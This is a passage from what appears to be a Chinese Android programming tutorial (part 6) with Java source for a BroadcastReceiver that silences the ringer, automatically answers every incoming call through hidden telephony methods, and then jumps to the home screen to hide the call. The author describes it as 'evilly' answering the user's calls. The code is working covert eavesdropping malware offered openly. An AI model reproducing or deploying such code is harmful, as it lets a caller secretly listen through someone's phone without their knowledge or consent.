Android 电话的反射调用机制实现静默接听电话(6)
}
}
}
然后用一个BroadcastReceiver监听电话
邪恶地用接电话接用户电话
tp.java
package zy.phone;
import java.util.Timer;
import java.util.TimerTask;
import Android.app.Service;
import Android.content.BroadcastReceiver;
import Android.content.Context;
import Android.content.Intent;
import Android.os.RemoteException;
import Android.telephony.TelephonyManager;
import Android.util.Log;
public class tp extends BroadcastReceiver {
Context mcontext;
TimerTask task = new TimerTask() {
public void run() {
Intent i = new Intent(Intent.ACTION_MAIN);
i.addCategory(Intent.CATEGORY_HOME);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mcontext.startActivity(i);
Log.i("bbb", "bbb");
}
};
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
mcontext = context;
TelephonyManager tm = (TelephonyManager) context
.getSystemService(Service.TELEPHONY_SERVICE);
switch (tm.getCallState()) {
case TelephonyManager.CALL_STATE_RINGING:// 来电响铃
try {
// String phoneNumber = intent.getStringExtra("incoming_number");
PhoneUtils.getITelephony(tm).silenceRinger();// 静铃
PhoneUtils.getITelephony(tm).answerRingingCall();// 自动接听
Timer timer = new Timer();
timer.schedule(task, 300);
} catch (RemoteException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}// 挂断
break;// 响铃
case TelephonyManager.CALL_STATE_OFFHOOK: // 来电接通 去电拨出
break;// 摘机
case TelephonyManager.CALL_STATE_IDLE: // 来去电电话挂断
break;// 挂机
}
}
}
这样就对所有电话都接了
然后主包就是一个什么都没有的测试Activity
包zy.test
test.java
package zy.test;
import Android.app.Activity;
import Android.os.Bundle;
public class test extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
相关新闻>>
- 发表评论
-
- 最新评论 更多>>